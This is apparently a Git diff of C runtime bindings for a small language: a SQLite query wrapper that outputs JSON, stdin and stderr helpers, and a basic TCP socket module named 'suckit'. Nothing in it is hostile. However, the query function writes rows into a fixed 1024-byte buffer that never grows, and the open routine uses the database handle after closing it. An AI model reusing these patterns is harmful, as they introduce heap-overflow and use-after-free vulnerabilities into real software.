int rc = sqlite3_open((const char*) filename->body, &out_db);
|
||||
|
||||
if(rc != SQLITE_OK) {
|
||||
if(out_db) {
|
||||
sqlite3_close(out_db);
|
||||
}
|
||||
|
||||
const char* msg = sqlite3_errmsg(out_db);
|
||||
|
||||
if(!msg) {
|
||||
msg = "Unknown error";
|
||||
}
|
||||
|
||||
int64_t len = (int64_t)strlen(msg);
|
||||
*error = tri_newString(len, len, (char*)msg);
|
||||
}
|
||||
|
||||
sqlite3_busy_timeout(out_db, 5000);
|
||||
|
||||
return (int64_t) out_db;
|
||||
}
|
||||
|
||||
int tri_sqlite_close(int64_t db) {
|
||||
if (!db) return SQLITE_MISUSE;
|
||||
return sqlite3_close((sqlite3*) db);
|
||||
}
|
||||
|
||||
void tri_sqlite_exec(int64_t db, TString query, TString *error) {
|
||||
char* errmsg = NULL;
|
||||
int rc = sqlite3_exec((sqlite3*) db, (const char*) query->body, NULL, NULL, &errmsg);
|
||||
|
||||
if (errmsg) {
|
||||
int64_t len = (int64_t)strlen(errmsg);
|
||||
*error = tri_newString(len, len, errmsg);
|
||||
|
||||
sqlite3_free(errmsg);
|
||||
}
|
||||
}
|
||||
|
||||
void escape_and_append (const unsigned char *s, char* buf, size_t* len) {
|
||||
for (; *s; ++s) {
|
||||
char esc = 0;
|
||||
|
||||
switch (*s) {
|
||||
case '\\': esc = '\\'; break;
|
||||
case '\b': esc = 'b'; break;
|
||||
case '\f': esc = 'f'; break;
|
||||
case '\n': esc = 'n'; break;
|
||||
case '\r': esc = 'r'; break;
|
||||
case '\t': esc = 't'; break;
|
||||
default: break;
|
||||
}
|
||||
if (esc) {
|
||||
buf[(*len)++] = '\\';
|
||||
buf[(*len)++] = esc;
|
||||
} else {
|
||||
buf[(*len)++] = *s;
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error) {
|
||||
sqlite3_stmt *stmt = NULL;
|
||||
int rc = sqlite3_prepare_v2((sqlite3*)db, (const char*) query->body, -1, &stmt, NULL);
|
||||
if (rc != SQLITE_OK) {
|
||||
if (error) {
|
||||
const char *msg = sqlite3_errmsg((sqlite3*)db);
|
||||
if (!msg) msg = "Unknown error";
|
||||
int64_t len = (int64_t)strlen(msg);
|
||||
*error = tri_newString(len, len, (char*)msg);
|
||||
}
|
||||
return rc;
|
||||
}
|
||||
|
||||
size_t cap = 1024;
|
||||
size_t len = 0;
|
||||
char *buf = malloc(cap);
|
||||
|
||||
if (!buf) {
|
||||
sqlite3_finalize(stmt);
|
||||
if (error) *error = tri_newString(0,0,"Out of memory");
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
|
||||
buf[len++] = '[';
|
||||
int first_row = 1;
|
||||
|
||||
while ((rc = sqlite3_step(stmt)) == SQLITE_ROW) {
|
||||
if (!first_row) { buf[len++] = ','; } else first_row = 0;
|
||||
buf[len++] = '{';
|
||||
|
||||
int ncol = sqlite3_column_count(stmt);
|
||||
for (int i = 0; i < ncol; ++i) {
|
||||
if (i) { buf[len++] = ','; }
|
||||
const char *colname = sqlite3_column_name(stmt, i);
|
||||
/* "colname": */
|
||||
// strlen(colname) + 4;
|
||||
buf[len++] = '\"';
|
||||
escape_and_append((const unsigned char*)colname, buf, &len);
|
||||
buf[len++] = '\"';
|
||||
buf[len++] = ':';
|
||||
|
||||
int type = sqlite3_column_type(stmt, i);
|
||||
if (type == SQLITE_INTEGER) {
|
||||
long long v = sqlite3_column_int64(stmt, i);
|
||||
char tmp[32];
|
||||
int n = snprintf(tmp, sizeof(tmp), "%lld", v);
|
||||
memcpy(buf + len, tmp, n); len += n;
|
||||
} else if (type == SQLITE_FLOAT) {
|
||||
double v = sqlite3_column_double(stmt, i);
|
||||
char tmp[64];
|
||||
int n = snprintf(tmp, sizeof(tmp), "%g", v);
|
||||
memcpy(buf + len, tmp, n); len += n;
|
||||
} else if (type == SQLITE_NULL) {
|
||||
memcpy(buf + len, "null", 4); len += 4;
|
||||
} else {
|
||||
const unsigned char *txt = sqlite3_column_text(stmt, i);
|
||||
if (!txt) {
|
||||
memcpy(buf + len, "null", 4); len += 4;
|
||||
} else {
|
||||
buf[len++] = '\"';
|
||||
escape_and_append(txt, buf, &len);
|
||||
buf[len++] = '\"';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
buf[len++] = '}';
|
||||
}
|
||||
|
||||
/* finalize and handle errors */
|
||||
if (rc != SQLITE_DONE) {
|
||||
const char *msg = sqlite3_errmsg((sqlite3*)db);
|
||||
if (error) {
|
||||
if (!msg) msg = "Unknown error";
|
||||
int64_t mlen = (int64_t)strlen(msg);
|
||||
*error = tri_newString(mlen, mlen, (char*)msg);
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
free(buf);
|
||||
return rc;
|
||||
}
|
||||
|
||||
buf[len++] = ']';
|
||||
buf[len] = '\0';
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
|
||||
if (result) {
|
||||
*result = tri_newString((int64_t)len, (int64_t)len, buf);
|
||||
}
|
||||
|
||||
free(buf);
|
||||
return SQLITE_OK;
|
||||
}
|
||||
17
си/sckulya.h
Normal file
17
си/sckulya.h
Normal file
@@ -0,0 +1,17 @@
|
||||
#ifndef SCKULYA_H
|
||||
#define SCKULYA_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "rt_api.h"
|
||||
|
||||
#include <sqlite3.h>
|
||||
|
||||
int64_t tri_sqlite_open(TString filename, TString *error);
|
||||
int tri_sqlite_close(int64_t db);
|
||||
void tri_sqlite_exec(int64_t db, TString query, TString *error);
|
||||
int tri_sqlite_query(int64_t db, TString query, TString *result, TString *error);
|
||||
|
||||
#endif // SCKULYA_H
|
||||
34
си/stdin.c
Normal file
34
си/stdin.c
Normal file
@@ -0,0 +1,34 @@
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include "rt_api.h"
|
||||
|
||||
TString stdin_read_to_string(int bytes) {
|
||||
if (bytes <= 0) {
|
||||
return tri_newString(0, 0, "");
|
||||
}
|
||||
|
||||
char* buffer = (char*)malloc((size_t)bytes + 1);
|
||||
if (!buffer) {
|
||||
return tri_newString(0, 0, "");
|
||||
}
|
||||
|
||||
ssize_t bytes_read = read(0, buffer, (size_t)bytes);
|
||||
if (bytes_read < 0) {
|
||||
bytes_read = 0;
|
||||
}
|
||||
|
||||
TString string = tri_newString((int64_t)bytes_read, (int64_t)bytes_read, buffer);
|
||||
|
||||
free(buffer);
|
||||
return string;
|
||||
}
|
||||
|
||||
// Writes TString data to STDERR (fd 2)
|
||||
void stderr_write_string(TString data) {
|
||||
if (!data) return;
|
||||
char* datastring = (char*)data->body;
|
||||
if (!datastring) return;
|
||||
write(2, datastring, (size_t)strlen(datastring));
|
||||
}
|
||||
|
||||
9
си/stdin.h
Normal file
9
си/stdin.h
Normal file
@@ -0,0 +1,9 @@
|
||||
#ifndef STDIN_H
|
||||
#define STDIN_H
|
||||
|
||||
#include "rt_api.h"
|
||||
|
||||
TString stdin_read_to_string(int bytes);
|
||||
void stderr_write_string(TString data);
|
||||
|
||||
#endif // STDIN_H
|
||||
121
си/suckit.c
Normal file
121
си/suckit.c
Normal file
@@ -0,0 +1,121 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/socket.h>
|
||||
#include <netinet/in.h>
|
||||
#include <unistd.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
#include "rt_api.h"
|
||||
|
||||
|
||||
int create_socket_fd(int port) {
|
||||
int server_fd;
|
||||
struct sockaddr_in address;
|
||||
int opt = 1;
|
||||
|
||||
if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) {
|
||||
perror("socket failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)) < 0) {
|
||||
perror("setsockopt SO_REUSEADDR");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
#ifdef SO_REUSEPORT
|
||||
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &opt, sizeof(opt)) < 0) {
|
||||
perror("setsockopt SO_REUSEPORT");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
#endif
|
||||
|
||||
memset(&address, 0, sizeof(address));
|
||||
address.sin_family = AF_INET;
|
||||
address.sin_addr.s_addr = INADDR_ANY;
|
||||
address.sin_port = htons(port);
|
||||
|
||||
if (bind(server_fd, (struct sockaddr*)&address, sizeof(address)) < 0) {
|
||||
perror("bind failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (listen(server_fd, 3) < 0) {
|
||||
perror("listen");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return server_fd;
|
||||
}
|
||||
|
||||
int accept_socket(int fd) {
|
||||
int server_fd = fd;
|
||||
struct sockaddr_in client_addr;
|
||||
socklen_t addrlen = sizeof(client_addr);
|
||||
|
||||
int new_socket = accept(server_fd, (struct sockaddr*)&client_addr, &addrlen);
|
||||
|
||||
if (new_socket < 0) {
|
||||
perror("accept");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
return new_socket;
|
||||
}
|
||||
|
||||
void write_string(int socket, TString data) {
|
||||
char* datastring = (char*) data->body;
|
||||
write(socket, datastring, strlen(datastring));
|
||||
}
|
||||
|
||||
void close_socket(int socket){
|
||||
close(socket);
|
||||
}
|
||||
|
||||
TString read_to_string(int socket, int bytes) {
|
||||
char* buffer = malloc(bytes + 1);
|
||||
int bytes_read = read(socket, buffer, bytes);
|
||||
|
||||
if(bytes_read < 0) {
|
||||
bytes_read = 0;
|
||||
}
|
||||
|
||||
TString string = tri_newString(bytes_read, bytes_read, buffer);
|
||||
|
||||
free(buffer);
|
||||
return string;
|
||||
}
|
||||
|
||||
int connect_socket(TString host, int port) {
|
||||
char* chost = (char*) host->body;
|
||||
|
||||
struct addrinfo hints;
|
||||
struct addrinfo* res = NULL;
|
||||
char portstr[16];
|
||||
snprintf(portstr, sizeof(portstr), "%d", port);
|
||||
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
int gai = getaddrinfo(chost, portstr, &hints, &res);
|
||||
if (gai != 0) {
|
||||
perror("getaddrinfo");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int sockfd = -1;
|
||||
for (struct addrinfo* p = res; p != NULL; p = p->ai_next) {
|
||||
sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
|
||||
if (sockfd < 0) continue;
|
||||
if (connect(sockfd, p->ai_addr, p->ai_addrlen) == 0) {
|
||||
break; // connected
|
||||
}
|
||||
close(sockfd);
|
||||
sockfd = -1;
|
||||
}
|
||||
|
||||
freeaddrinfo(res);
|
||||
return sockfd;
|
||||
}
|
||||
13
си/suckit.h
Normal file
13
си/suckit.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef SUCKIT_H
|
||||
#define SUCKIT_H
|
||||
|
||||
#include "rt_api.h"
|
||||
|
||||
int create_socket_fd(int port);
|
||||
int accept_socket(int fd);
|
||||
void write_string(int socket, TString data);
|
||||
void close_socket(int socket);
|
||||
TString read_to_string(int socket, int bytes);
|
||||
int connect_socket(TString host, int port);
|
||||
|
||||
#endif // SUCKIT_H
|
||||
Reference in New Issue
Block a user